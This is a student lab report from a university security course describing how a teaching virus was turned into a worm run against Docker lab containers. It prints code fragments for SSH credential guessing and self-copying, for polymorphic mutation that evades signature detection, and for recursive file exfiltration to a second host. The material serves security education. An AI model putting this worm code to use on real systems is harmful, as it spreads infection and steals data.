CSE-406

(Computer Security Sessional)

Report on Offline-2

(Malware)

Submitted by:

Tanjeem Azwad Zaman

Roll: 1805006

Dept. of CSE, BUET

Date of Submission:

04.08.2023

1. Task 1:

"Taking cues from the code shown for AbraWorm.py, turn the FooVirus.py virus into a worm by incorporating networking code in it. The resulting worm will still infect only the '.foo' files, but it will also have the ability to hop into other machines. "

1.1 Solution:

1.1.1 What our new worm does:

- When already in a host, if the virus is run, it searches for files with ".foo" extension in its own directory. It then comments out old contents of all such files and copies its own code into the file, thus "replicating itself"
- It also tries to establish a remote ssh connection to another IP by guessing it's username and password randomly in "***normal mode***". Once successful, it copies itself into the root directory. But this can be tedious and take a long time to work.
- So we also keep a "***debug mode***" to particularly target an IP; one whose username and password we know.
- Once in a new host, the worm will not do anything unless it is explicitly run on the new host. Once it is run, it repeats the first 3 steps.

1.1.2 Methodology / Change in Code:

- We take cues from AbraWorm.py and incorporate its networking part into the preexisting FooVirus.py, to make our new worm 1805006_1.py
- We keep the while loop that tries out random usernames, passwords from the trigrams and digrams as in AbraWorm. Random IP trial is also included.
- We use paramiko and scp packages. We first try to establish a connection:

```
try:
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(ip_address,port=22,username=user,password=passwd,timeout=5)
    print("\n\nconnected\n")
```

- We check if this host was previously affected, we skip if yes.

```
# Let's make sure that the target host was not previously
# infected:
received_list = error = None
stdin, stdout, stderr = ssh.exec_command('ls ' +  str(sys.argv[0]))
error = stderr.readlines()
if error:
    # print(error)
    print('Virus previously did not exist\n\n')
else:
    received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
    print("\n\noutput of 'ls' command: %s" % str(received_list))
    print("\n\nVirus Already Existed")
    continue
```

- If previously unaffected, we send a copy of this ‘worm’ to the target :

```
    # Now deposit a copy of FooVirus.py at the target host:
    print("Replicating Virus...")
    scpcon = scp.SCPClient(ssh.get_transport())
    scpcon.put(sys.argv[0])
    scpcon.close()
    print("Successfully Replicated.")
except:
    continue
```

- The rest of the code is the same as the original FooVirus. It comments out old content and writes virus content:

```
153   IN = open(sys.argv[0], 'r')
154   virus = [line for line in IN.readlines()]
155
156   # for item in glob.glob("./**/*.foo", recursive=True):
157   for item in glob.glob("*.foo"):
158       IN = open(item, 'r')
159       all_of_it = IN.readlines()
160       IN.close()
161       if any('foovirus' in line for line in all_of_it): continue
162       os.chmod(item, 0o777)
163       OUT = open(item, 'w')
164       OUT.writelines(virus)
165       all_of_it = ['#' + line for line in all_of_it]
166       OUT.writelines(all_of_it)
167       OUT.close()
```

1.2 Observations:

1.2.1 Before Running 1805006_1.py:

1.2.1.1 Directory:

```
[08/03/23]seed@VM:~/.../Test1$ ls
1805006_1.py  affected.foo  dir1  notaffected.txt
[08/03/23]seed@VM:~/.../Test1$ cd dir1
[08/03/23]seed@VM:~/.../dir1$ ls
notaffected.foo  notaffected.txt
[08/03/23]seed@VM:~/.../dir1$
```

1.2.1.2 Remote Directory:

```
root@dc04d9319352:~# ls
root@dc04d9319352:~#
```

1.2.1.3 File Contents:

```
[08/03/23]seed@VM:~/.../Test1$ ls
1805006_1.py  affected.foo  dir1  notaffected.txt
[08/03/23]seed@VM:~/.../Test1$ cat affected.foo
dummy text
dummy dummy text
will get commented out
[08/03/23]seed@VM:~/.../Test1$ cat notaffected.txt
dummy text
dummy dummy text
will get commented out
[08/03/23]seed@VM:~/.../Test1$ cat dir1/notaffected.foo
dummy text
dummy dummy text
will get commented out
[08/03/23]seed@VM:~/.../Test1$ cat dir1/notaffected.txt
dummy text
dummy dummy text
will get commented out
```

1.2.2 After Running 1805006_1.py:

1.2.2.1 Remote Directory:

```
root@dc04d9319352:~# ls
root@dc04d9319352:~# ls
1805006_1.py
root@dc04d9319352:~#
```

1.2.2.2 File Contents: ***Only affected.foo is affected (same directory and ends in .foo)*** :

```
[08/03/23]seed@VM:~/.../Test1$ cat notaffected.txt
dummy text
dummy dummy text
will get commented out
[08/03/23]seed@VM:~/.../Test1$ cat dir1/notaffected.txt
dummy text
dummy dummy text
will get commented out
[08/03/23]seed@VM:~/.../Test1$ cat dir1/notaffected.foo
dummy text
dummy dummy text
will get commented out
```

```
[08/03/23]seed@VM:~/.../Test1$ cat affected.foo
#!/usr/bin/env python

##   FooVirus.py
##   Author: Avi kak (kak@purdue.edu)
##   Date:   April 5, 2016; Updated April 6, 2022

print("""\nHELLO FROM FooVirus\n\n
This is a demonstration of how easy it is to write
a self-replicating program. This virus will infect
all files with names ending in .foo in the directory in
which you execute an infected file.  If you send an
infected file to someone else and they execute it, their,
foo files will be damaged also.

Note that this is a safe virus (for educational purposes
only) since it does not carry a harmful payload.  All it
does is to print out this message and comment out the
code in .foo files.\n\n""")

import sys
import os
import random
import paramiko
import scp
```

```
    OUT.writelines(virus)
    all_of_it = ['#' + line for line in all_of_it]
    OUT.writelines(all_of_it)
    OUT.close()#dummy text
#dummy dummy text
#will get commented out
```

1.2.3 After Moving affected.foo to dir1 and running it:

1.2.3.1 Dir1: (notaffected.foo is also affected now)

```
affected.foo  notaffected.foo  notaffected.txt
[08/03/23]seed@VM:~/.../dir1$ cat notaffected.txt
dummy text
dummy dummy text
will get commented out
[08/03/23]seed@VM:~/.../dir1$ cat notaffected.foo
#!/usr/bin/env python

##   FooVirus.py
##   Author: Avi kak (kak@purdue.edu)
##   Date:   April 5, 2016; Updated April 6, 2022
```

```
    OUT.writelines(virus)
    all_of_it = ['#' + line for line in all_of_it]
    OUT.writelines(all_of_it)
    OUT.close()#dummy text
#dummy dummy text
#will get commented out
#dummy text
#dummy dummy text
#will get commented out
```

1.2.3.2 Remote Directory:

```
root@dc04d9319352:~# ls
root@dc04d9319352:~# ls
1805006_1.py
root@dc04d9319352:~# ls
1805006_1.py  affected.foo
root@dc04d9319352:~#
```

(the docker files don't have scp and paramiko packages installed, thus can't run our worms)

1.2.4 Running either virus again with same target (Won't reinfect):

```
Trying password mypassword for user root at IP address: 172.17.0.4


connected



output of 'ls' command: [b'1805006_1.py\n']


Virus Already Existed
```

2. Task 2:

"Modify the code AbraWorm.py code so that no two copies of the worm are exactly the same in all of the infected hosts at any given time."

2.1 Solution:

2.1.1 What our new worm does:

- Main Task-2:
  - Each copy of the AbraWorm will be different in two ways:
    - Will have random comments in between lines
    - Will have an extra if/else that functions as a NOP, to change the coding signature of the new worm.
      - If True: pass
      - If True: tempvariable = randomInt
      - If randvar == randvar: pass
- Does the same as AbraWorm, ie.
  - Tries to get ssh access of target host (may pick username, password and IP randomly in ***normal mode***, or get specified target in ***debug mode***)
  - Looks for a file in the root directory with the keyword "abracadabra". If found, copies itself to the root, and sends file with keyword to attacker.
  - Exfiltrate file with keyword to another target destination

2.1.2 Methodology / Change in Code:

- We included the following code snippet after the comment line
  # Now deposit a copy of AbraWorm.py at the target host:

```
211                 # Now deposit a copy of AbraWorm.py at the target host:
212                 os.makedirs('./tempFolder')
213                 # shutil.copyfile(sys.argv[0], './tempFolder/' + str(sys.argv[0]))
214                 tempfile = open('./tempFolder/'+ str(sys.argv[0]), 'w')
215
216                 IN = open(sys.argv[0], 'r')
217                 linecount = 0
218                 for line in IN.readlines():
219                     linecount = linecount+1
220                     tempfile.write(line)
221                     randInt = random.randint(1,100)
222                     if randInt % 2 == 0 and linecount >130:
223                         tempfile.write("#Random Comment " + str(randInt) + "\n")
```

This adds random comments after line 130 (else trigram and digram declarations are affected)

- We also included the following to add the extra control statements, equivalent to NOP

```
                if randInt % 3 == 0:
                    tempfile.write("if True:\n    pass\n")
                elif randInt % 3 == 1:
                    tempfile.write("if " + str(randInt) + "==" + str(randInt) + ":\n" + "
                else:
                    tempfile.write("if True:\n    tempval = 15\n")
                tempfile.close()

                scpcon.put('./tempFolder/'+ str(sys.argv[0]))
                scpcon.close()
                shutil.rmtree('./tempFolder/')
                scpcon.close()
            except:
                continue
```

- We also create a ***tempFolder*** to house the new worm to be sent. This folder is deleted once the worm has been sent.

2.2 Observations:

2.2.1 Before Running 1805006_2.py:

2.2.1.1 Attacker Directory:

```
[08/03/23]seed@VM:~/.../Test2$ ls
1805006_2.py
```

2.2.1.2 Source Target (IP: 172.17.0.2):

```
root@36a017ec9967:~# ls
NotAffectedfile1_root.txt  dir1  file1_root.txt
root@36a017ec9967:~# cd dir1/
root@36a017ec9967:~/dir1# ls
dirfile1.txt
root@36a017ec9967:~/dir1#
```

2.2.1.3 Destination Target (IP: 172.17.0.3):

```
root@1f2ec331306e:~# ls
root@1f2ec331306e:~#
```

2.2.1.4 File Contents:

```
root@36a017ec9967:~# cat file1_root.txt
abracadabra
root@36a017ec9967:~# cat NotAffectedfile1_root.txt
wontbeaffected
root@36a017ec9967:~# cat dir1/dirfile1.txt
abracadabra
root@36a017ec9967:~#
```

2.2.2 After Running 1805006_2.py:

2.2.2.1 Console:

```
[08/03/23]seed@VM:~/.../Test2$ python3 1805006_2.py
Trying password mypassword for user root at IP address: 172.17.0.2

connected


output of 'ls' command: [b'NotAffectedfile1_root.txt\n', b'dir1\n', b'file1_root.txt\n']
files of interest at the target: [b'file1_root.txt']
Will now try to exfiltrate the files

connected to exhiltration host
```

*(Only affects **file1_root.txt** -> only file in root directory with **abracadabra** inside)*

2.2.2.2 Attacker Directory:

```
[08/03/23]seed@VM:~/.../Test2$ ls
1805006_2.py  file1_root.txt
```

2.2.2.3 Source Target (IP: 172.17.0.2):

```
root@36a017ec9967:~# ls
1805006_2.py  NotAffectedfile1_root.txt  dir1  file1_root.txt
```

2.2.2.4 Destination Target (IP: 172.17.0.3):

```
root@1f2ec331306e:~# ls
file1_root.txt
```

2.2.2.5 File Contents (1805006_2.py is changed in Source Target):

```
root@36a017ec9967:~# cat 1805006_2.py
#!/usr/bin/env python
```

```
#Random Comment 92
                        scpcon.put(filename)
                    scpcon.close()
                except:
#Random Comment 14
                    print("No uploading of exfiltrated files\n")
                    continue
#Random Comment 70
    if debug: break
if True:
    tempval = 15
```

We copy-paste contents of this to a demo file and verify this code is runnable.

3. Task 3:

"Extend the AbraWorm code so that it descends down the directory structure and examines the files at every level."

3.1 Solution:

3.1.1 What our new worm does:

- Main Task-3:
  - Looks for **abracadabra** in all file in subdirectories as well.
  - Copies itself into root directory.
  - Exfiltrates all matching target files.
- Does the same as AbraWorm in Task – 2.

3.1.2 Methodology / Change in Code:

- Change the command on line 197 for searching files in subdirectories:

```
197                 cmd = 'grep -rls abracadabra *'
198                 stdin, stdout, stderr = ssh.exec_command(cmd)
199                 error = stderr.readlines()
```

- Extract filename in **name_file** variable and then send file.

```
265             for filename in files_of_interest_at_target:
266                 name_file = str(filename).split('\'')[-2].split('/')[-1]
267                 scpcon.put(name_file)
268             scpcon.close()
```

3.2 Observations:

3.2.1 Before Running 1805006_3.py:

Same as Task-2. The only change is 1805006_3.py in Attacker's directory instead of 1805006_2.py

3.2.1.1 Attacker Directory:

```
[08/03/23]seed@VM:~/.../Test3$ ls
1805006_3.py
```

3.2.1.2 Source Target (IP: 172.17.0.2):

```
root@36a017ec9967:~# ls
NotAffectedfile1_root.txt  dir1  file1_root.txt
root@36a017ec9967:~# cd dir1/
root@36a017ec9967:~/dir1# ls
dirfile1.txt
root@36a017ec9967:~/dir1#
```

3.2.1.3 Destination Target (IP: 172.17.0.3):

```
root@1f2ec331306e:~# ls
root@1f2ec331306e:~#
```

3.2.1.4 File Contents:

```
root@36a017ec9967:~# cat file1_root.txt
abracadabra
root@36a017ec9967:~# cat NotAffectedfile1_root.txt
wontbeaffected
root@36a017ec9967:~# cat dir1/dirfile1.txt
abracadabra
root@36a017ec9967:~#
```

3.2.2 After Running 1805006_3.py:

3.2.2.1 Console:

```
[08/03/23]seed@VM:~/.../Test3$ python3 1805006_3.py

Trying password mypassword for user root at IP address: 172.17.0.2


connected



output of 'ls' command: [b'NotAffectedfile1_root.txt\n', b'dir1\n', b'file1_root.txt\n']

files of interest at the target: [b'dir1/dirfile1.txt', b'file1_root.txt']

Will now try to exfiltrate the files


connected to exhiltration host
```

*(Affects **file1_root.txt** AND **dir1/dirfile1.txt**-> files in subdirectory with **abracadabra** inside affected too)*

3.2.2.2 Attacker Directory:

```
[08/03/23]seed@VM:~/.../Test3$ ls
1805006_3.py  dirfile1.txt  file1_root.txt
```

3.2.2.3 Source Target (IP: 172.17.0.2):

```
root@36a017ec9967:~# ls
1805006_3.py  NotAffectedfile1_root.txt  dir1  file1_root.txt
```

3.2.2.4 Destination Target (IP: 172.17.0.3):

```
root@1f2ec331306e:~# ls
dirfile1.txt  file1_root.txt
```

3.2.2.5 File contents (1805006_3.py is changed in Source Target):

```
root@36a017ec9967:~# cat 1805006_3.py
#!/usr/bin/env python

### AbraWorm.py
```

```
 #Random Comment 8
                        print("No uploading of exfiltrated files\n")
                        continue
 #Random Comment 50
     if debug: break
 #Random Comment 46
 if 46==46:
     pass
```

We copy-paste contents of this to a demo file and verify this code is runnable.

4. Extra Observations:

- The “Already infected” check in AbraWorm.py was not working. A simpler version was implemented in Task-1, and it was commented out in Tasks 2 and 3
- Since paramiko and scp packages were not installed in the temporary hosts, the propagated worms could not be run there. Rather the code was manually copy pasted and run in another file to check runnability of code.
- Task-2 had a case in if-else that declared a new variable. Over time, the code may use up extra space, but since it is just a single variable, it should not have significant drawbacks in terms of runnability